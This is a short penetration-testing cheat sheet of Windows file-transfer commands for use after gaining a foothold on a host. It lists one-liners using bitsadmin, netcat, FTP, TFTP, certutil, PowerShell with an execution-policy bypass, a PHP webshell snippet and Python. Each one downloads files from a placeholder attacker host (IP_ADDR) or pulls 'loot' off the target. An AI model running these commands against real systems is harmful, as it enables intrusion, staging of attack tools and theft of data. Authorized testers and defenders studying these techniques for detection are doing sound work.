Windows File Transfer Commands for Penetration Testing

Common methods for transferring files to and from a Windows host during pentests.

Once you have a foothold, getting tools onto the box (and loot off it) usually comes down to whichever of these native Windows utilities isn’t blocked.

BITS (Windows 7 / Server 2008 and newer)

1
bitsadmin /transfer download /priority normal http://IP_ADDR/FILE C:\output\path

Netcat

1
# On the attacking machine, listening for the incoming file:
2
nc -lvp PORT < infile
3
# On the target, sending the file:
4
nc IP_ADDR PORT > OUTFILE

FTP

1
ftp -s:input.txt   # Run FTP commands from a script file
2

3
# Interactive session:
4
open IP_ADDR 21
5
USER anonymous
6
password
7
bin
8
GET FILE
9
bye

TFTP

1
tftp -i IP_ADDR get FILE

certutil

1
certutil -urlcache -split -f "http://IP_ADDR/FILE" FILENAME

PowerShell

1
Invoke-WebRequest http://IP_ADDR:PORT/FILE -OutFile C:\Windows\Temp\FILE
2
powershell.exe -exec bypass -Command "& {iex((New-Object System.Net.WebClient).DownloadFile('http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\FILE'))}"

PHP (from a webshell)

1
<?php file_put_contents("/var/tmp/FILE", file_get_contents("http://IP_ADDR/FILE")); ?>

Python

1
python -c "from urllib import urlretrieve; urlretrieve('http://IP_ADDR/FILE', 'C:\\Temp\\FILE')"

Windows File Transfers